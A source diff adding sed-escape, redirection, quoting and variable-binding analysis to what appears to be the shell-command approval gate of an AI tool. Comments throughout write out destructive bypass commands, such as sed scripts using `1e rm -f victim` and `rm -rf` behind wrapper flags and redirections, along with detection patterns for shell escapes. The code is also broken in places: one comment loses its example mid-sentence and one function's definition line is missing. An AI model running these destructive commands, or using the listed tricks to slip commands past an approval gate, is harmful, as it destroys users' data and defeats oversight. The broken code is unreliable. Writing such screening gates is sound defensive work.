diff --git a/studio/backend/core/inference/tools.py b/studio/backend/core/inference/tools.py index 0c6e2292bc..8d0fff4641 100644 --- a/studio/backend/core/inference/tools.py +++ b/studio/backend/core/inference/tools.py @@ -181,6 +181,42 @@ _COMMAND_PREFIXES = frozenset( "xargs", } ) +# Wrapper options whose VALUE is a separate token (env -u NAME, nice -n 5). +# Unconsumed, the value is mistaken for the wrapped command: `env -u FOO rm -rf x` +# reads as command `FOO`. Shared by the auto gate and the blocklist walk. +_WRAPPER_VALUE_FLAGS_BY_CMD = { + # env -i/--ignore-environment is VALUELESS; only -u/--unset takes a name. + "env": frozenset({"-u", "--unset"}), + "stdbuf": frozenset({"-i", "--input", "-o", "--output", "-e", "--error"}), + "timeout": frozenset({"-s", "--signal", "-k", "--kill-after"}), + "nice": frozenset({"-n", "--adjustment"}), + "ionice": frozenset({"-c", "--class", "-n", "--classdata", "-p", "--pid"}), + "xargs": frozenset( + {"-I", "-L", "-P", "-d", "--delimiter", "-a", "--arg-file", "-n", "-s", "-E"} + ), + "chroot": frozenset({"--userspec", "--groups"}), + # setpriv : only the value-taking options consume a token. + "setpriv": frozenset( + { + "--reuid", + "--regid", + "--groups", + "--inh-caps", + "--ambient-caps", + "--bounding-set", + "--securebits", + "--pdeathsig", + "--selinux-label", + "--apparmor-profile", + "--landlock-access", + "--landlock-rule", + } + ), + # exec -a NAME runs cmd under NAME, so NAME is a value, not the command. + "exec": frozenset({"-a"}), + "setsid": frozenset(), + "nohup": frozenset(), +} _ASSIGNMENT_RE = re.compile(r"^[A-Za-z_][A-Za-z0-9_]*=") # Env-assignment prefixes that change command lookup or code loading, so # `LD_PRELOAD=x ls` / `PATH=. ls` run attacker code before the read-only @@ -268,8 +304,152 @@ _AWK_SHELL_ESCAPE_RE = re.compile( r"\bsystem\s*\(|\|\s*&?\s*[\"']\s*(?:/\S*/)?(?:sh|bash|zsh|ksh|dash|cmd)\b|" r"\bENVIRON\s*\[|\bprintf\s*\|" ) +# sed shells out like awk: GNU's `e` runs the rest of its line through popen and +# the `s///e` flag runs the pattern space, hiding a command inside a text-editing +# argument. Screened so ordinary editing (sed 's/a/b/g') stays unprompted. +_SED_COMMANDS = frozenset({"sed", "gsed", "ssed"}) +# `s///` flags that may precede `e`. `w` is absent: it takes the rest of the +# line as a filename, so the e in `s/a/b/w report.txt` is part of that name. +_SED_SUBST_FLAGS = frozenset("0123456789gpiImMe") +# sed short options that consume text, so no later letter in the cluster is a +# flag: -e/-f take a script and -l a length (attached or next token), while -i's +# backup suffix is ATTACHED ONLY (`-ifoo` otherwise reads as an attached `-f oo`). +_SED_VALUE_FLAGS = "efl" +_SED_ATTACHED_VALUE_FLAGS = "i" +# A backslash in a sed text argument escapes the next character, newline +# included, so it is stripped before the payload is read as a shell command. +_SED_TEXT_ESCAPE_RE = re.compile(r"\\([\s\S])") +# A plain parameter reference in a sed program (`sed "$p" f`). Bare `$NAME` / +# `${NAME}` only: anything with an operator is a transformation this scan does +# not model, so the program is judged UNREAD (see _sed_program_unresolved). +_PROGRAM_VAR_RE = re.compile(r"\$\{(\w+)\}|\$(\w+)") +# An unbraced expansion bash performs: a name (`$p`), a positional (`$1`) or a +# special parameter ($@ $* $# $? $- $$ $!). Any other `$` is literal (verified: +# `printf '%s' "$ d"` prints `$ d`), which keeps sed's `$` address out of scope. +_UNBRACED_PARAM_RE = re.compile(r"\$(?:[A-Za-z_]\w*|[0-9]+|[@*#?$!-])") +# Arithmetic evaluates to an INTEGER, so it spells no sed command. A digit in its +# place keeps `sed -n "1,$((n + 1))p" f` silent while still exposing the `e` in +# `sed "$((c+1))e rm -f victim"`, which runs rm. +_ARITHMETIC_VALUE = "0" +# The FLOOR every invocation gets for its argument walk, which keeps a line +# padded with `-exec sed` words linear. A flat cap is padding an attacker +# controls: `sed -n ...x128 '1e rm -f victim'` pushed the script past 128. +_MAX_SED_ARG_SCAN = 128 +# Argument tokens the sed screen may walk across ONE command line, split over the +# sed words on it, so a lone sed reads its whole list and the work stays linear. +_SED_SCAN_BUDGET = 200_000 +# Wrappers may sit between `find -exec` and the command it runs; bounded so a +# line padded with `-exec env -exec env ...` cannot make the scan quadratic. +_MAX_EXEC_PREFIX_SCAN = 32 +# First window tried when balancing a `$(...)`, quadrupled until the span closes +# (_substitution_span), so a line of many short substitutions stays linear. +_SUBSTITUTION_SPAN_STEP = 64 +# Quote state (_shell_quote_states) of a backslash and the character behind it. +# Distinct from the surrounding quoting because bash expands neither: the `$(` in +# `sed "s/\$(CC)/gcc/" Makefile` opens no command substitution. +_ESCAPED_CHAR_STATE = "\\" _WIN_CONDITIONAL_KEYWORDS = frozenset({"exist", "defined", "errorlevel", "not"}) _FIND_EXEC_FLAGS = frozenset({"-exec", "-execdir", "-ok", "-okdir"}) +# A find action is COMPLETE at its terminator: words after it are find's next +# predicate, not CMD's. Reading past it took a following `-exec grep -e safe {} +` +# for sed's script. `\;` is listed too, for the non-posix lexer. +_FIND_EXEC_TERMINATORS = frozenset({"+", ";", "\\;"}) +# The `;` spellings END the action wherever they stand: a quoted `';'` and an +# escaped `\;` reach find as the same word. `+` is absent because find reads it +# as the batched terminator only directly after a `{}` (see _exec_scan_layout). +_FIND_EXEC_SEMICOLONS = frozenset({";", "\\;"}) +# ...but ONLY inside such an action. shlex strips quoting, so a sed FILE operand +# spelled `';'` or `'+'` arrives as the same token as a real separator, and +# ending the scan there dropped the `-e` script behind it: verified that +# `sed -n ';' -e '1e rm -f victim' input` really runs rm. Outside an action only +# an UNQUOTED `;` ends the invocation. + +# The characters a separator token can be built from, masked while the command +# is lexed a second time so a quoted one is told apart from a real one. +_SEPARATOR_CHARS = frozenset("".join(_SHELL_SEPARATORS)) +# Placeholder for a quoted separator character during that second lex. Any +# non-whitespace, non-quote, non-punctuation_chars character serves, so the +# masked text splits into the same words and the token lists line up. +_QUOTED_SEPARATOR_MARK = "\x00" +# The characters bash expands a word against the filesystem for, and the +# placeholder standing in for a QUOTED one during the same second lex. +_GLOB_CHARS = frozenset("*?[") +_QUOTED_GLOB_MARK = "\x01" +# The characters a redirection is built from, and the placeholder standing in +# for a QUOTED one. A redirection is something the shell PERFORMS, so a quoted +# spelling is an ordinary word the command receives instead. +_REDIRECT_CHARS = frozenset("<>") +_QUOTED_REDIRECT_MARK = "\x02" +# The characters that open an expansion, and the placeholder for one the quoting +# made literal. Double quoting is NOT literal here (`sed "$p" f` expands), so +# only single-quoted and escaped states count (see _unquoted_expansion_indexes). +_EXPANSION_CHARS = frozenset("$`") +_QUOTED_EXPANSION_MARK = "\x04" +# The characters punctuation_chars glues into one token. A run like `|&` matches +# no _SHELL_SEPARATORS entry, so the sed screen read past the end of the command +# (`sed '1e rm -f victim' input |& grep -e safe` runs rm). `{`/`}` are absent so +# find's `{}` stays an ordinary word. +_OPERATOR_TOKEN_CHARS = frozenset(";&|()`") +# One shell redirection, as the lexer hands it over. The target may be glued on +# (`2>/dev/null`) or be the next token (`> out.txt`); `&` splits off under +# punctuation_chars, so `2>&1` arrives as three. +_REDIRECTION_RE = re.compile(r"^(?:\d+|&)?(?:<<<|<<-|<<|<>|>>|>\||<&|>&|<|>)") + + +def _looks_like_separator(token: str) -> bool: + """Whether a lexed token is a shell operator rather than a word a command + receives. A known separator, or a RUN of punctuation_chars characters, which + is how bash builds `|&`, `;;` and `;&`.""" + if token in _SHELL_SEPARATORS: + return True + return bool(token) and not (set(token) - _OPERATOR_TOKEN_CHARS) + + +def _redirection_span( + tokens: "list[str]", + index: int, + quoted: "frozenset[int]" = frozenset(), + quoted_redirects: "frozenset[int]" = frozenset(), +) -> "tuple[int, ...]": + """The token indexes one shell redirection at ``index`` occupies, or ``()``. + + The shell REMOVES a redirection before the command sees its arguments, so + leaving the words in place made it the command's first operand: verified that + `sed out.txt rm -rf victim` both + run for real. A detached target is claimed only when it is an ordinary word. + """ + if tokens[index] == "&" and index + 1 < len(tokens) and tokens[index + 1][:1] in "<>": + # `&>out.txt` splits in two, and reading the `&` as a background + # operator ended the command early. Only a redirection may follow, so + # `echo hi & rm -rf victim` keeps its separator. + tail = _redirection_span(tokens, index + 1, quoted, quoted_redirects) + return (index, *tail) if tail else () + if index in quoted_redirects: + # The quoting makes it a WORD the command receives: `sed -f '>prog' -e + # '1e rm -f victim' input` takes `>prog` as the script FILE and really + # runs the payload, while removing it as a redirection left -e unread. + return () + match = _REDIRECTION_RE.match(tokens[index]) + if not match: + return () + if tokens[index][match.end() :]: + return (index,) # target glued on: `2>/dev/null`, `>out.txt` + span = [index] + nxt = index + 1 + if nxt >= len(tokens): + return tuple(span) + if tokens[nxt] in {"&", "|"}: + # `2>&1` and `>|out.txt` each arrive as three tokens, and the middle one + # was read as the end of the command (verified: both run the payload). + span.append(nxt) + nxt += 1 + if nxt < len(tokens) and not (_looks_like_separator(tokens[nxt]) and nxt not in quoted): + # The shell hands the target to open(), not to sed: `sed > --sandbox + # '1e touch MARKER' input` and its `> ';'` twin both really run it. Only + # a BARE operator is refused, since that line is malformed anyway. + span.append(nxt) + return tuple(span) + # `[` and `[[` are the test builtins, not patterns. _TEST_BUILTINS = frozenset({"[", "[[", "]", "]]"}) @@ -291,6 +471,867 @@ def _blocked_matching_glob(base: str) -> "set[str]": return {name for name in _BLOCKED_COMMANDS if fnmatch.fnmatchcase(name, base)} +def _is_sed_command(base: str) -> bool: + """Whether a command word runs sed: an exact name, or a command-position GLOB + that could expand to one, since bash resolves `/usr/bin/s[e]d` to sed after + this scan. Fail closed: a non-sed program holds no `e` and yields no + payload.""" + if base in _SED_COMMANDS: + return True + return _is_unresolved_command_glob(base) and any( + fnmatch.fnmatchcase(name, base) for name in _SED_COMMANDS + ) + + +def _sed_short_flag(token: str) -> "tuple[str, str] | None": + """The first value-taking short option in a sed flag cluster, as + ``(letter, text glued after it)``, or ``None``. The scan stops there because + the rest of the token is that option's value: `-ifoo` is -i with backup + suffix "foo", not an attached -f.""" + if not token.startswith("-") or token.startswith("--"): + return None + for index, ch in enumerate(token[1:]): + if ch in _SED_VALUE_FLAGS or ch in _SED_ATTACHED_VALUE_FLAGS: + return ch, token[index + 2 :] + return None + + +def _sed_long_flag(name: str) -> str: + """Which value-taking sed long option ``--name`` is: "e" for --expression, + "f" for --file, "l" for --line-length, "" otherwise. getopt allows unambiguous + abbreviations, so --e/--ex are --expression and --fi upwards is --file (--f is + ambiguous with --follow-symlinks). --in-place's suffix is always attached.""" + if len(name) <= 2: + return "" + if "--expression".startswith(name): + return "e" + if len(name) > 3 and "--file".startswith(name): + return "f" + if "--line-length".startswith(name): + return "l" + return "" + + +def _sed_disables_exec(name: str) -> bool: + """Whether the long option ``name`` puts sed in a mode that REFUSES to shell + out. --sandbox disables e/r/w and --posix drops the GNU extensions `e` belongs + to, so a script COMPILED under either aborts the run (exit 1) and its payload + is inert. WHICH scripts that covers depends on where the flag sits: see + _sed_invocation. Only unambiguous abbreviations count (`--s` is ambiguous and + sed exits on it), and an `=` spelling is rejected by sed too. + """ + if len(name) >= 4 and "--sandbox".startswith(name): + return True + return len(name) >= 3 and "--posix".startswith(name) + + +def _sed_scan_limit(sed_words: int) -> int: + """How many argument tokens ONE sed invocation may walk looking for its + script. A lone sed gets the whole budget, so padding cannot push the script + out of view; a line packed with sed words falls back to the floor, which + keeps the walk linear (`-exec sed ` repeated to 16KB: 39s against 3s).""" + if sed_words <= 1: + return _SED_SCAN_BUDGET + return max(_MAX_SED_ARG_SCAN, _SED_SCAN_BUDGET // sed_words) + + +# An -f operand naming a STREAM rather than a file on disk, so the script arrives +# on stdin and "no program found" is ignorance rather than safety: +# `sed -f - input < bool: + """Whether an `-f` operand reads the script from a stream this scan cannot + follow. A named file (`sed -f prog.sed input`) stays out: it is documented + residue rather than something to fail on. A process substitution counts, since + `sed -f <(printf 'e rm -f victim') input` really runs rm; the lexer splits + that operand at the `(`, which is why the bare `<`/`>` are here too.""" + if value in _SED_STREAM_PROGRAM_SOURCES or value.startswith("/dev/fd/"): + return True + return value[:1] in "<>" + + +def _end_program_source(programs: "list[str]", exec_disabled: bool) -> None: + """Close the script source the pieces collected so far belong to, by appending + the blank line the join needs. + + A source BOUNDARY ends any line continuation open across it, so a trailing + `a\\` appends a blank line instead of swallowing the next source's first line. + Verified on GNU sed 4.9: `sed -e '1a\\' -f /dev/null -e 'e touch MARKER' input` + creates the file while the same line without the -f does not. + """ + if programs and programs[-1] and not exec_disabled: + programs.append("") + + +def _sed_invocation( + tokens: "list[str]", + start: int, + limit: int = _MAX_SED_ARG_SCAN, + stops: "frozenset[int]" = frozenset(), + skips: "frozenset[int]" = frozenset(), + globs: "frozenset[int]" = frozenset(), + expandable: "frozenset[int]" = frozenset(), +) -> "tuple[list[str], bool, bool]": + """The sed invocation whose command word sits at ``start``, as + ``(program alternatives, unread, live_program)``. + + sed joins its -e values with newlines, so `sed -e '1a\\' -e 'e rm -rf x'` + appends a line instead of executing it and the pieces are judged together. + With no -e or -f the first positional is the script. + + --sandbox / --posix abort at COMPILE time, and sed compiles each -e as it is + parsed while the positional waits for the whole option list, so the flag + suppresses exactly the scripts written after it (verified on GNU sed 4.9: + `sed -e '1e touch MARKER' --sandbox input` still runs). One written after the + POSITIONAL suppresses only while getopt permutes, and POSIXLY_CORRECT turns + that off from outside the command text, so it is not read as suppressing. + `--` is honoured: a `--sandbox` behind it is an input FILENAME. + + ``unread`` says the program is at best a PREFIX of the real one, so an empty + result proves nothing and callers fail closed on it. + + ``stops`` and ``skips`` are token INDEXES, not text: where the invocation + ends (a separator the shell performs, or the `+` / `;` closing this sed's + find action) and which words are a redirection the shell removes before sed + runs. Both distinctions need the original quoting, which the text has lost. + A skip yields to a pending -e/-f/-l value, since that word is sed's. + """ + programs: "list[str]" = [] + first_positional = "" + positional_disabled = False # a mode flag preceded the positional script + positional_globbed = False # ...and bash rewrites it before sed is started + positional_live = False # ...and it holds an expansion the shell performs + # A program flag AHEAD of the positional word makes that word an input FILE. + # One BEHIND it does so only while getopt permutes, and POSIXLY_CORRECT turns + # permutation off from outside the command text, so the positional is still + # read as a script then (verified on GNU sed 4.9 that + # `POSIXLY_CORRECT=1 sed '1e touch MARKER' input -f /dev/null` creates it). + program_flag_before_positional = False + # A mode flag has been seen, so every script COMPILED after it is inert. + # Monotone by construction, so the live pieces are always a PREFIX rather + # than a hole in the middle of one `-e '1a\' -e 'e rm -rf x'` program. + exec_disabled = False + end_of_options = False # `--` seen: no later word is an option + value_pending = "" # "e", "f" or "l": the next token is that flag's value + hit_separator = False # the invocation ended before the window ran out + stream_program = False # an -f names a stream, so the script is not in argv + glob_program = False # the script word is one bash rewrites before sed sees it + live_program = False # ...and it holds an expansion the shell really performs + window = tokens[start + 1 : start + 1 + limit] + for offset, token in enumerate(window): + if start + 1 + offset in stops: + hit_separator = True + break + if start + 1 + offset in skips: + # A redirection: the shell removed it before sed ran. Checked AHEAD + # of the pending value, because one standing where that value goes is + # removed too and the value is the word BEHIND it (`sed -n -e >out + # '1e touch MARKER' input` really runs the payload). + continue + if value_pending: + # The value is consumed either way; only a script sed still compiles + # goes into the program. + if value_pending == "e" and not exec_disabled: + programs.append(token) + glob_program = glob_program or start + 1 + offset in globs + live_program = live_program or start + 1 + offset in expandable + elif value_pending == "f" and _sed_program_source_is_stream(token): + stream_program = True + value_pending = "" + continue + if not end_of_options and token == "--": + end_of_options = True + continue + if not end_of_options and token.startswith("--"): + name, sep, value = token.partition("=") + if not sep and _sed_disables_exec(name): + exec_disabled = True + continue + letter = _sed_long_flag(name) + if not letter: + continue + # -l only matters so its operand is not mistaken for the script. + if letter in "ef" and not first_positional: + program_flag_before_positional = True + if letter == "f": + _end_program_source(programs, exec_disabled) + stream_program = stream_program or ( + bool(sep) and _sed_program_source_is_stream(value) + ) + if not sep: + value_pending = letter + elif letter == "e" and not exec_disabled: + programs.append(value) + glob_program = glob_program or start + 1 + offset in globs + live_program = live_program or start + 1 + offset in expandable + continue + if not end_of_options and token.startswith("-"): + # A cluster glues the value on (-ne'1p') or takes the next (-ne '1p'). + found = _sed_short_flag(token) + if found is None: + continue + letter, attached = found + if letter in _SED_ATTACHED_VALUE_FLAGS: + # -i's suffix is the rest of the token; it never takes the next + # one, so the script is still the positional ahead. + continue + if letter in "ef" and not first_positional: + program_flag_before_positional = True + if letter == "f": + _end_program_source(programs, exec_disabled) + stream_program = stream_program or ( + bool(attached) and _sed_program_source_is_stream(attached) + ) + if not attached: + value_pending = letter + elif letter == "e" and not exec_disabled: + programs.append(attached) + glob_program = glob_program or start + 1 + offset in globs + live_program = live_program or start + 1 + offset in expandable + continue + if not first_positional: + first_positional = token + positional_disabled = exec_disabled + positional_globbed = start + 1 + offset in globs + positional_live = start + 1 + offset in expandable + joined = ["\n".join(programs)] if programs else [] + if first_positional and not positional_disabled and not program_flag_before_positional: + glob_program = glob_program or positional_globbed + live_program = live_program or positional_live + if not programs: + joined = [first_positional] + else: + # A program option stands BEHIND the positional, so which of the two + # sed compiles depends on permutation. They are ALTERNATIVES, not one + # program: joining them let an unterminated command in one swallow + # the other, and `POSIXLY_CORRECT=1 sed '1e touch MARKER' input -e + # safe` read as safe although it really runs the payload. + joined.append(first_positional) + # Complete when a separator closed the invocation, or when the window + # already covered every remaining argument. + scan_overflowed = not hit_separator and len(tokens) > start + 1 + limit + # A still-pending -f value means the invocation ended before its operand was + # read at all -- a process substitution ends it at the `(` -- so the program + # is unknown rather than absent. + joined = [piece.replace(_ANSI_C_NEWLINE_MARK, "\n") for piece in joined] + unread = scan_overflowed or stream_program or glob_program or value_pending == "f" + return joined, unread, live_program + + +def _sed_text(text: str) -> str: + """Unescape one sed text argument the way read_text does: every backslash + drops away and the character behind it stays, so `e touch MARK\\ER` runs + MARKER.""" + return _SED_TEXT_ESCAPE_RE.sub(r"\1", text).strip() + + +def _sed_exec_payloads(program: str) -> "list[str]": + """Shell payloads a sed program executes, in order. + + `e COMMAND` runs COMMAND. A bare `e` and the `s///e` flag run the pattern + space, which only exists at run time, so they yield an EMPTY payload: + executes, but nothing to screen. An empty list means it only edits text. + + The walk skips every region where an `e` is data (regexes, replacements, + a/i/c text, r/w filenames, b/t labels, comments), keeping `:e;N;$!be;...`, + `sed 's/e/E/g'` and `sed 's/a/b/w report.txt'` out of the results. + """ + payloads: "list[str]" = [] + n = len(program) + + def _end_of_line(pos: int) -> int: + end = program.find("\n", pos) + return n if end < 0 else end + + def _end_of_text(pos: int) -> int: + # read_text, which collects `e`/`a`/`i`/`c` text: a backslash escapes + # the next character, so a line ending in one carries the text onto the + # NEXT line instead of stopping there. + while pos < n and program[pos] != "\n": + pos += 2 if program[pos] == "\\" else 1 + return min(pos, n) + + def _skip_bracket(pos: int) -> int: + # A bracket expression, where the delimiter is data (`s/[/]/x/` really + # substitutes a slash). A leading `]` is literal; [:class:] nests. + pos += 1 + if pos < n and program[pos] == "^": + pos += 1 + if pos < n and program[pos] == "]": + pos += 1 + while pos < n and program[pos] != "]": + if program[pos] == "[" and pos + 1 < n and program[pos + 1] in ":.=": + end = program.find(program[pos + 1] + "]", pos + 2) + pos = n if end < 0 else end + 2 + continue + pos += 1 + return pos + 1 + + def _skip_section(pos: int, delim: str, brackets: bool) -> int: + # One delimited section of a regex / s/// / y///, through its closing + # delimiter. Brackets apply to regex halves only; elsewhere `[` is data. + while pos < n and program[pos] != delim: + if program[pos] == "\\": + pos += 2 + elif brackets and program[pos] == "[": + pos = _skip_bracket(pos) + else: + pos += 1 + return pos + 1 + + def _skip_address(pos: int) -> int: + # A line number (GNU's first~step included), `$`, /regex/ or \%regex%, + # each allowing I/M modifiers. + if pos < n and program[pos] == "$": + return pos + 1 + if pos < n and program[pos].isdigit(): + while pos < n and (program[pos].isdigit() or program[pos] == "~"): + pos += 1 + return pos + if pos < n and program[pos] == "/": + pos = _skip_section(pos + 1, "/", brackets = True) + elif pos < n and program[pos] == "\\" and pos + 1 < n: + pos = _skip_section(pos + 2, program[pos + 1], brackets = True) + else: + return pos + while pos < n and program[pos] in "IM": + pos += 1 + return pos + + i = 0 + while i < n: + if program[i] in " \t\n;{}": + # Separators and block braces carry no command. + i += 1 + continue + if program[i] == "#": + i = _end_of_line(i) + continue + i = _skip_address(i) + if i < n and program[i] == ",": + i += 1 + while i < n and program[i] in " \t": + i += 1 + if i < n and program[i] in "+~": + # `addr,+N` / `addr,~N` end the range relative to the first match. + i += 1 + while i < n and program[i].isdigit(): + i += 1 + else: + i = _skip_address(i) + while i < n and program[i] in " \t!": + # `1!e cmd`: negation, the command word is still ahead. + i += 1 + if i >= n: + break + cmd, i = program[i], i + 1 + if cmd == "e": + # The payload ends at an UNESCAPED newline, so a `;` inside it is + # shell text and `e\` + newline hands the next line to the same + # shell (`1e\` / `rm -f victim` really runs rm). + end = _end_of_text(i) + payloads.append(_sed_text(program[i:end])) + i = end + elif cmd in "sy" and i < n: + delim, i = program[i], i + 1 + i = _skip_section(i, delim, brackets = cmd == "s") + i = _skip_section(i, delim, brackets = False) + if cmd == "s": + executes = False + while i < n and program[i] in _SED_SUBST_FLAGS: + executes = executes or program[i] == "e" + i += 1 + if executes: + payloads.append("") + if i < n and program[i] == "w": + i = _end_of_line(i) + elif cmd in "aic": + # Literal text; the `a\` + newline form continues on a trailing "\". + i = _end_of_text(i) + elif cmd in "rRwW": + i = _end_of_line(i) # the filename runs to the end of the line + elif cmd in "btT:v": + # A label (or `v` version) ends at the next separator. + while i < n and program[i] not in ";\n}": + i += 1 + return payloads + + +def _assignment_bindings( + tokens: "list[str]", quoted: "frozenset[int]" = frozenset() +) -> "list[tuple[int, str, str | None]]": + """Every `NAME=value` word as ``(token index, name, value)``, in the order + the shell performs the assignments. + + An ordered LIST, not a map, because bash uses the binding performed most + recently BEFORE the reference: first-wins let + `p='1,3p'; p='1e rm -f victim'; sed "$p" input` read as `1,3p` while rm + really runs. The index rides along so _bindings_before can drop the + assignments that only happen after the sed. + + A non-literal value is recorded as ``None``, which CLEARS the name rather + than leaving a stale earlier one standing, since resolving to that would + invent a program rather than read one. + + Only a word that really changes SHELL state counts. An assignment-shaped + ARGUMENT (`echo p='1,3p'`), one in a subshell and one used as a command's + environment prefix all leave `$p` alone, and recording them overwrote a + payload with a value bash never assigned; all three run rm for real. A + conditional one after `&&` may or may not run, so it is UNRESOLVED instead. + """ + bindings: "list[tuple[int, str, str | None]]" = [] + pending: "list[tuple[int, str, str | None]]" = [] # the run at this position + at_command = True # an assignment here is a prefix, not an argument + depth = 0 # inside ( ... ), where an assignment does not escape + conditional = False # after && / || : the assignment may never run + function_body = 0 # inside f() { ... }, which bash has not run yet + saw_parens = False # the `()` of a function definition just went past + for index, token in enumerate(tokens): + if token == "{" and saw_parens: + function_body += 1 + saw_parens = False + continue + if token == "}" and function_body: + function_body -= 1 + at_command = True + continue + if _looks_like_separator(token) and index not in quoted: + # Nothing followed the run, so it changed the shell's own state. + bindings.extend(pending) + pending = [] + saw_parens = set(token) <= {"(", ")"} and ")" in token + depth = max(0, depth + token.count("(") - token.count(")")) + conditional = "&&" in token or "||" in token + at_command = True + continue + if function_body and _ASSIGNMENT_RE.match(token): + # A body bash has not run yet, and may never run: `p='1e rm -f + # victim'; f() { p='1,3p'; }; sed "$p" input` really runs rm. + # Clearing the name is right whether or not f is ever called. + name = token.partition("=")[0] + pending.append((index, name, None)) + continue + if at_command and _ASSIGNMENT_RE.match(token): + if depth == 0: + name, _, value = token.partition("=") + literal = None if "$" in value or "`" in value else value + pending.append((index, name, None if conditional else literal)) + continue + if at_command: + # A command word: the run in front of it is that command's + # ENVIRONMENT, which bash hands the CHILD and not itself. + pending = [] + at_command = False + bindings.extend(pending) + return bindings + + +def _bindings_before( + bindings: "list[tuple[int, str, str | None]]", cursor: int, limit: int, env: "dict[str, str]" +) -> int: + """Fold into ``env`` every binding at a token index below ``limit``, starting + at ``cursor``, and return the cursor to pass in next time. Later bindings + overwrite earlier ones, so ``env`` holds what the shell would have in scope + at token ``limit``. Seds are visited left to right, so the cursor only moves + forward and the whole line costs ONE walk of the binding list.""" + while cursor < len(bindings) and bindings[cursor][0] < limit: + _index, name, value = bindings[cursor] + if value is None: + env.pop(name, None) + else: + env[name] = value + cursor += 1 + return cursor + + +def _resolve_program_vars(program: str, env: "dict[str, str]") -> str: + """``program`` with each `$NAME` / `${NAME}` replaced by its assigned value. + + A sed script held in a variable (`p='# notee CMD'; sed "$p" f`) is + only a program once the reference is resolved, and only in a pass that KEEPS + the quoted newline: the blanket newline pass turns the value into one long + sed comment. An unassigned name is left as written, so nothing is invented. + """ + return _PROGRAM_VAR_RE.sub(lambda m: env.get(m.group(1) or m.group(2), m.group(0)), program) + + +def _sed_program_variants(program: str, env: "dict[str, str]") -> "list[str]": + """The sed program as written, plus the variable-resolved and + arithmetic-collapsed forms. All are screened, because any spelling can be the + one holding the `e`: the raw text in `sed "e $file"`, the resolved one in + `sed "$p"`, the collapsed one in `sed "$((c+1))e rm -f victim"`.""" + if "$" not in program: + return [program] + variants = [program] + resolved = _resolve_program_vars(program, env) + if resolved != program: + variants.append(resolved) + for form in list(variants): + collapsed = _collapse_shell_arithmetic(form) + if collapsed not in variants: + variants.append(collapsed) + return variants + + +def _expansion_key(text: str) -> str: + """One expansion, keyed so the raw-command spelling and the post-lex one + compare equal. Only the escaping differs between them, so it is dropped.""" + return text.replace("\\", "") + + +def _sed_program_unresolved(variants: "list[str]", live: "set[str]") -> bool: + """Whether NO spelling of the sed program is one this scan actually READ, + because every one still holds an expansion bash would rewrite. + + The program is knowable only when each expansion reduces to text: + `p='1,3p'; sed "$p" f` does, `sed "${p#x }" f` does not. The parameter + transformations (`${p%y}`, `${p/a/b}`, `${p:-z}`, `${p^^}`, `${!p}`, ...) are + not modelled one at a time; an unread program is UNKNOWN and the auto gate + asks, which makes every unmodelled form safe by default rather than a way + past (`p='x e rm -f victim'; sed "${p#x }" input` really runs rm). + + Only expansions the shell RUNS count, and only where they land in the + PROGRAM, so one the program merely quotes (`sed 's/$(x)/y/' f`), an escaped + one (`sed "s/\\$(CC)/gcc/" Makefile`) and one in a FILE operand + (`sed -n '1,3p' $(ls)`) are all left running. + """ + if not live: + return False + # shlex removes the escaping as it splits, so the SAME expansion is spelled + # one way in the raw command and another in the token, and an exact + # comparison read a generated program as one already read. Keying both sides + # without backslashes can only make a spelling MATCH, so it fails closed. + keys = {_expansion_key(found) for found in live} + return not any( + all(_expansion_key(found) not in keys for found in _shell_expansions(variant, quoted = False)) + for variant in variants + ) + + +def _quoted_separator_indexes(text: str, tokens: "list[str]", punctuation: str) -> "frozenset[int]": + """Indexes of ``tokens`` that only LOOK like a shell separator because the + quoting has been stripped off them. + + shlex hands back the identical token `;` for a real separator and for a + quoted `';'` a command receives as data, so `sed -n ';' -e '1e rm -f victim' + input` looked like a sed that had already ended and the `-e` script behind + the `;` was never read (verified on GNU sed 4.9: it runs rm). + + Told apart by masking every separator character the shell QUOTES and lexing + a second time. Only those characters change, and each inside the word it + already belonged to, so the two token lists line up; the alignment is + asserted by the length check, and anything unexpected reports nothing. + """ + if not any(_looks_like_separator(token) for token in tokens): + # Nothing to tell apart: skip the quote walk and the second lex. + return frozenset() + if _QUOTED_SEPARATOR_MARK in text: + return frozenset() # the mark is not ours to read back + states = _shell_quote_states(text) + masked = "".join( + _QUOTED_SEPARATOR_MARK if char in _SEPARATOR_CHARS and states[index] else char + for index, char in enumerate(text) + ) + if _QUOTED_SEPARATOR_MARK not in masked: + return frozenset() # every separator character was bare + try: + lexer = shlex.shlex(masked, posix = True, punctuation_chars = punctuation) + lexer.whitespace_split = True + marked = list(lexer) + except ValueError: + return frozenset() + if len(marked) != len(tokens): + return frozenset() + return frozenset( + index + for index, token in enumerate(marked) + if _QUOTED_SEPARATOR_MARK in token and _looks_like_separator(tokens[index]) + ) + + +def _masked_tokens( + text: str, tokens: "list[str]", punctuation: str, chars: "frozenset[str]", mark: str +) -> "list[str] | None": + """``tokens`` re-lexed with every one of ``chars`` the QUOTING made literal + replaced by ``mark``, or ``None`` when the two lexes do not line up and + nothing can be said. Each replacement stays inside the word it already + belonged to, so the second lex yields the same words; the alignment is + asserted by the length check rather than assumed.""" + if not any(char in chars for char in text) or mark in text: + return None + states = _shell_quote_states(text) + masked = "".join( + mark if char in chars and states[index] else char for index, char in enumerate(text) + ) + try: + lexer = shlex.shlex(masked, posix = True, punctuation_chars = punctuation) + lexer.whitespace_split = True + marked = list(lexer) + except ValueError: + return None + return marked if len(marked) == len(tokens) else None + + +def _quoted_redirection_indexes( + text: str, tokens: "list[str]", punctuation: str +) -> "frozenset[int]": + """Indexes of ``tokens`` that only LOOK like a redirection because the + quoting has been stripped off them. + + A QUOTED redirection is a word the shell hands the command: `sed -f '>prog' + -e '1e rm -f victim' input` takes `>prog` as the script FILE and really runs + the payload. Decided on the operator the token OPENS with, so `2>'/dev/null'` + keeps its bare `2>` and stays a redirection while `'>prog'` does not. + """ + marked = _masked_tokens(text, tokens, punctuation, _REDIRECT_CHARS, _QUOTED_REDIRECT_MARK) + if marked is None: + return frozenset() + return frozenset( + index + for index, token in enumerate(tokens) + if _REDIRECTION_RE.match(token) and not _REDIRECTION_RE.match(marked[index]) + ) + + +def _unquoted_expansion_indexes( + text: str, tokens: "list[str]", punctuation: str +) -> "frozenset[int]": + """Indexes of ``tokens`` holding an expansion the shell really PERFORMS. + + Live expansions are collected over the whole command, so matching a sed + program against them by text alone attributed another command's expansion to + a program that merely spells the same thing, and the read-only + `echo "$p"; sed 's/$p/x/' f` asked. This supplies the missing occurrence. + + Double quoting is deliberately not literal: `sed "$p" f` expands and must + stay in. Only single, ANSI-C and backslash quoting make these characters + data. + """ + if not any(char in _EXPANSION_CHARS for char in text) or _QUOTED_EXPANSION_MARK 